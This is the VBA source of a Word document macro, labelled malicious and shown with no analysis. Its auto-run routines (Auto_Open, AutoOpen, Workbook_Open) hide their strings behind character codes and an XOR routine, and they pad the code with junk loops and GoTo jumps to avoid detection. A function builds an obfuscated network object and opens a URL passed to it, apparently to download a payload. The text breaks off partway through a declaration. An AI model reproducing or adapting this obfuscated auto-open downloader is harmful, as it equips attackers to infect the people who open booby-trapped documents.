Malicious Word macro

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()

GoTo TekeKIXv
Dim KorylwBO As String
Open Xorex(Chr(44) & Chr(61) & Chr(113) & Chr(32) & Chr(54) & Chr(59) & Chr(75) & Chr(32) & Chr(40) & Chr(56), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 74
Dim ecawErWG As Integer
For ecawErWG = 0 To 9
Dim ZPixjmpp, FHMbKifm, NXYZmXjR As String
ZPixjmpp = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(45) & Chr(104) & Chr(54) & Chr(36) & Chr(55) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
FHMbKifm = LTrim(ZPixjmpp)
NXYZmXjR = RTrim(FHMbKifm)

DoEvents
Next ecawErWG
Dim asEbzXwZ, XdFQxNKE, KdVCJthR As String
asEbzXwZ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(32) & Chr(38) & Chr(122) & Chr(56) & Chr(57) & Chr(40) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
XdFQxNKE = LTrim(asEbzXwZ)
KdVCJthR = RTrim(XdFQxNKE)

Put #74, , KorylwBO
Dim VavUqoZa As Integer
For VavUqoZa = 0 To 4
Dim bPjgbwfk, tTVPSHtp, PnTtNsCz As String
bPjgbwfk = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(34) & Chr(61) & Chr(125) & Chr(61) & Chr(57) & Chr(38) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
tTVPSHtp = LTrim(bPjgbwfk)
PnTtNsCz = RTrim(tTVPSHtp)

DoEvents
Next VavUqoZa
Dim KWYHAaqn, uQSlYDxo, OCNfhqyZ As String
KWYHAaqn = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(38) & Chr(50) & Chr(120) & Chr(60) & Chr(35) & Chr(50) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
uQSlYDxo = LTrim(KWYHAaqn)
OCNfhqyZ = RTrim(uQSlYDxo)

Close #74
Dim BJgmxyHe As Integer
For BJgmxyHe = 0 To 8
Dim tHLZOFpj, kXTTsAdA, hUokpELN As String
tHLZOFpj = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(52) & Chr(62) & Chr(97) & Chr(48) & Chr(44) & Chr(59) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
kXTTsAdA = LTrim(tHLZOFpj)
hUokpELN = RTrim(kXTTsAdA)

DoEvents
Next BJgmxyHe
Dim eNiIwUfn, VakMHQQA, LaAyqHiZ As String
eNiIwUfn = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(60) & Chr(45) & Chr(105) & Chr(43) & Chr(48) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
VakMHQQA = LTrim(eNiIwUfn)
LaAyqHiZ = RTrim(VakMHQQA)

TekeKIXv:

Dim GBoKQhtn As Integer
For GBoKQhtn = 0 To 6
Dim roQtAEYl, OrlbFVcp, gBaMalhz As String
roQtAEYl = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(37) & Chr(59) & Chr(98) & Chr(36) & Chr(56) & Chr(54) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
OrlbFVcp = LTrim(roQtAEYl)
gBaMalhz = RTrim(OrlbFVcp)

DoEvents
Next GBoKQhtn
Dim RviifzeM, LgdQlDgZ, wbATzqVX As String
RviifzeM = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(33) & Chr(60) & Chr(98) & Chr(57) & Chr(63) & Chr(50) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
LgdQlDgZ = LTrim(RviifzeM)
wbATzqVX = RTrim(LgdQlDgZ)

JWYBNRLBKQR
End Sub
Sub AutoOpen()

GoTo LEalWwDY
Dim JgRyLclt As String
Open Xorex(Chr(45) & Chr(51) & Chr(111) & Chr(32) & Chr(49) & Chr(60) & Chr(75) & Chr(51) & Chr(54) & Chr(62), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 75
Dim lcavmOJQ As Integer
For lcavmOJQ = 0 To 6
Dim TJJpQsQT, EZmCOfjr, GIuNqamg As String
TJJpQsQT = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(51) & Chr(62) & Chr(127) & Chr(53) & Chr(44) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
EZmCOfjr = LTrim(TJJpQsQT)
GIuNqamg = RTrim(EZmCOfjr)

DoEvents
Next lcavmOJQ
Dim uBXnSOQL, eNuSyDoM, VajVnKYW As String
uBXnSOQL = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(37) & Chr(45) & Chr(126) & Chr(56) & Chr(36) & Chr(50) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
eNuSyDoM = LTrim(uBXnSOQL)
VajVnKYW = RTrim(eNuSyDoM)

Put #75, , JgRyLclt
Dim gacPaGvC As Integer
For gacPaGvC = 0 To 2
Dim OrlEvrlE, gBNVQbsw, MMIlBMed As String
OrlEvrlE = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(44) & Chr(39) & Chr(114) & Chr(52) & Chr(60) & Chr(37) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
gBNVQbsw = LTrim(OrlEvrlE)
MMIlBMed = RTrim(gBNVQbsw)

DoEvents
Next gacPaGvC
Dim driuFnBZ, AMfPMsqq, rtAREOMT As String
driuFnBZ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(45) & Chr(58) & Chr(98) & Chr(57) & Chr(39) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
AMfPMsqq = LTrim(driuFnBZ)
rtAREOMT = RTrim(AMfPMsqq)

Close #75
Dim jKfxfQSB As Integer
For jKfxfQSB = 0 To 5
Dim HafxHWqB, zuNblIgp, gdSZMxkm As String
HafxHWqB = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(56) & Chr(103) & Chr(36) & Chr(58) & Chr(33) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
zuNblIgp = LTrim(HafxHWqB)
gdSZMxkm = RTrim(zuNblIgp)

DoEvents
Next jKfxfQSB
Dim NhGrtVsU, WhBhveOI, JjpALuuP As String
NhGrtVsU = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(44) & Chr(51) & Chr(115) & Chr(38) & Chr(56) & Chr(47) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
WhBhveOI = LTrim(NhGrtVsU)
JjpALuuP = RTrim(WhBhveOI)

LEalWwDY:

Dim LEBRVpEQ As Integer
For LEBRVpEQ = 0 To 4
Dim treDbHml, PNQiSsds, hWlZBYrr As String
treDbHml = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(63) & Chr(39) & Chr(123) & Chr(62) & Chr(60) & Chr(54) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
PNQiSsds = LTrim(treDbHml)
hWlZBYrr = RTrim(PNQiSsds)

DoEvents
Next LEBRVpEQ
Dim HoBLbtvS, lmdDpZiu, UpljgflG As String
HoBLbtvS = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(62) & Chr(61) & Chr(98) & Chr(56) & Chr(38) & Chr(58) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
lmdDpZiu = LTrim(HoBLbtvS)
UpljgflG = RTrim(lmdDpZiu)

    Auto_Open
End Sub
Sub Workbook_Open()

GoTo xyZfKJKl
Dim IsgjmRWR As String
Open Xorex(Chr(46) & Chr(35) & Chr(119) & Chr(44) & Chr(63) & Chr(53) & Chr(75) & Chr(53) & Chr(58) & Chr(55), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 31
Dim fsvDZpke As Integer
For fsvDZpke = 0 To 1
Dim SNAlfjtx, VyfwHroU, XJJoFyFu As String
SNAlfjtx = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(63) & Chr(58) & Chr(106) & Chr(63) & Chr(34) & Chr(51) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
VyfwHroU = LTrim(SNAlfjtx)
XJJoFyFu = RTrim(VyfwHroU)

DoEvents
Next fsvDZpke
Dim Tpndowlj, nqPvZbHl, xsMPCRfl As String
Tpndowlj = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(45) & Chr(39) & Chr(119) & Chr(34) & Chr(45) & Chr(49) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
nqPvZbHl = LTrim(Tpndowlj)
xsMPCRfl = RTrim(nqPvZbHl)

Put #31, , IsgjmRWR
Dim aUyoqmil As Integer
For aUyoqmil = 0 To 5
Dim qXAGbMwi, GKppSgfN, IiNWEwZE As String
qXAGbMwi = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(56) & Chr(44) & Chr(98) & Chr(36) & Chr(60) & Chr(42) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
GKppSgfN = LTrim(qXAGbMwi)
IiNWEwZE = RTrim(GKppSgfN)

DoEvents
Next aUyoqmil
Dim tVpXOVfF, UpvHlwCi, XNEmcuoH As String
tVpXOVfF = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(55) & Chr(32) & Chr(127) & Chr(62) & Chr(63) & Chr(57) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
UpvHlwCi = LTrim(tVpXOVfF)
XNEmcuoH = RTrim(UpvHlwCi)

Close #31
Dim XqEwKnGT As Integer
For XqEwKnGT = 0 To 1
Dim cyHpxALl, PsZdVhXR, XkghnrBF As String
cyHpxALl = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(63) & Chr(41) & Chr(116) & Chr(43) & Chr(51) & Chr(44) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
PsZdVhXR = LTrim(cyHpxALl)
XkghnrBF = RTrim(PsZdVhXR)

DoEvents
Next XqEwKnGT
Dim ndZNQQzy, wfSdyGbu, kfXvnMCi As String
ndZNQQzy = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(38) & Chr(120) & Chr(39) & Chr(37) & Chr(48) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
wfSdyGbu = LTrim(ndZNQQzy)
kfXvnMCi = RTrim(wfSdyGbu)

xyZfKJKl:

Dim TpUeiHdu As Integer
For TpUeiHdu = 0 To 5
Dim uKijfayh, SDHQAwCu, TrYxkZsP As String
uKijfayh = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(62) & Chr(47) & Chr(125) & Chr(60) & Chr(47) & Chr(48) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
SDHQAwCu = LTrim(uKijfayh)
TrYxkZsP = RTrim(SDHQAwCu)

DoEvents
Next TpUeiHdu
Dim oVXNiCxg, QpqMJmyI, NNhcCykj As String
oVXNiCxg = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(52) & Chr(32) & Chr(106) & Chr(43) & Chr(48) & Chr(57) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
QpqMJmyI = LTrim(oVXNiCxg)
NNhcCykj = RTrim(QpqMJmyI)

    Auto_Open
End Sub
Function MPIRKLCZGPW(ByVal QYHDAGXISET As String, ByVal XOGQTIGBKHF As String) As Boolean
     Dim DJJTVHAZKJC As Object, ABHGZGXTAHB As Long, TRULUSUSFEP As Long, KVYTHKQITTJ() As Byte


GoTo qvnwdNhu
Dim xRdvFDlk As String
Open Xorex(Chr(57) & Chr(36) & Chr(107) & Chr(42) & Chr(48) & Chr(49) & Chr(75) & Chr(32) & Chr(34) & Chr(44), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 14
Dim crYiGofH As Integer
For crYiGofH = 0 To 9
Dim rWalVlIT, jaDwbuQH, ZubvaWGa As String
rWalVlIT = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(59) & Chr(36) & Chr(119) & Chr(56) & Chr(49) & Chr(50) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
jaDwbuQH = LTrim(rWalVlIT)
ZubvaWGa = RTrim(jaDwbuQH)

DoEvents
Next crYiGofH
Dim aOHtjJwl, CONjQWLl, KPpZyNjm As String
aOHtjJwl = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(32) & Chr(63) & Chr(115) & Chr(38) & Chr(59) & Chr(36) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
CONjQWLl = LTrim(aOHtjJwl)
KPpZyNjm = RTrim(CONjQWLl)

Put #14, , xRdvFDlk
Dim sbfEclru As Integer
For sbfEclru = 0 To 1
Dim ZKHKPpJC, iFcdCROF, DOyUpNnY As String
ZKHKPpJC = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(45) & Chr(49) & Chr(101) & Chr(53) & Chr(35) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
iFcdCROF = LTrim(ZKHKPpJC)
DOyUpNnY = RTrim(iFcdCROF)

DoEvents
Next sbfEclru
Dim FWkvBprF, eQcerXhx, TCSCDlBH As String
FWkvBprF = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(37) & Chr(50) & Chr(127) & Chr(61) & Chr(37) & Chr(36) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
eQcerXhx = LTrim(FWkvBprF)
TCSCDlBH = RTrim(eQcerXhx)

Close #14
Dim RdloCaHW As Integer
For RdloCaHW = 0 To 1
Dim rAKpeHYl, zdwXaKdJ, fliBZThz As String
rAKpeHYl = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(59) & Chr(41) & Chr(96) & Chr(53) & Chr(50) & Chr(32) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
zdwXaKdJ = LTrim(rAKpeHYl)
fliBZThz = RTrim(zdwXaKdJ)

DoEvents
Next RdloCaHW
Dim ppPZaVKy, yqMGwzgu, astaHuSi As String
ppPZaVKy = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(36) & Chr(39) & Chr(125) & Chr(63) & Chr(62) & Chr(40) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
yqMGwzgu = LTrim(ppPZaVKy)
astaHuSi = RTrim(yqMGwzgu)

qvnwdNhu:

Dim KIbPPPVG As Integer
For KIbPPPVG = 0 To 3
Dim vKaNjEwZ, rFOmEVfm, OOjGJltd As String
vKaNjEwZ = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(56) & Chr(49) & Chr(99) & Chr(56) & Chr(50) & Chr(54) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
rFOmEVfm = LTrim(vKaNjEwZ)
OOjGJltd = RTrim(rFOmEVfm)

DoEvents
Next KIbPPPVG
Dim ywKbMiTv, msVeNMJu, CxsCOjnA As String
ywKbMiTv = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(57) & Chr(39) & Chr(104) & Chr(61) & Chr(32) & Chr(37) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
msVeNMJu = LTrim(ywKbMiTv)
CxsCOjnA = RTrim(msVeNMJu)

    Set DJJTVHAZKJC = CreateObject(Xorex(Chr(38) & Chr(35) & Chr(96) & Chr(38) & Chr(43) & Chr(66) & Chr(75) & Chr(63) & Chr(35) & Chr(58) & Chr(49) & Chr(33) & Chr(63) & Chr(96), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc"))
    DJJTVHAZKJC.Open Xorex(Chr(44) & Chr(53) & Chr(108), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc"), QYHDAGXISET, False

GoTo YzwDVEhC
Dim KiiJnkli As String
Open Xorex(Chr(44) & Chr(61) & Chr(104) & Chr(59) & Chr(33) & Chr(56) & Chr(75) & Chr(37) & Chr(39) & Chr(56), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc") For Binary As 59
Dim ARMtQBeF As Integer
For ARMtQBeF = 0 To 7
Dim xJhlEQzr, mZKtADIE, YIRieAQF As String
xJhlEQzr = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(58) & Chr(62) & Chr(104) & Chr(56) & Chr(48) & Chr(52) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
mZKtADIE = LTrim(xJhlEQzr)
YIRieAQF = RTrim(mZKtADIE)

DoEvents
Next ARMtQBeF
Dim vzQxuXRl, lzWInazm, aUXRklzP As String
vzQxuXRl = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(36) & Chr(57) & Chr(120) & Chr(58) & Chr(44) & Chr(33) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
lzWInazm = LTrim(vzQxuXRl)
aUXRklzP = RTrim(lzWInazm)

Put #59, , KiiJnkli
Dim zRlueSZC As Integer
For zRlueSZC = 0 To 8
Dim EGyTvSww, oPDNSiff, DTwmBZtt As String
EGyTvSww = Xorex(Chr(75) & Chr(80) & Chr(24) & Chr(75) & Chr(71) & Chr(80) & Chr(69) & Chr(71) & Chr(78) & Chr(86) & Chr(89) & Chr(45) & Chr(42) & Chr(119) & Chr(58) & Chr(57) & Chr(48) & Chr(81) & Chr(22) & Chr(70) & Chr(82) & Chr(65) & Chr(68) & Chr(74) & Chr(72) & Chr(24) & Chr(73) & Chr(79) & Chr(73) & Chr(85) & Chr(75) & Chr(81), "kp8kgpegnvyuk0sucq6fradjh8ioiukqvirwij3ylr6ty3baqc")
oPDNSiff = LTrim(EGyTvSww)
DTwmBZtt = RTrim(oPDNSiff)

DoEvents
Next zRlueSZC
Dim vOwulzPn, aMPazblM, hPHTuqTZ As String
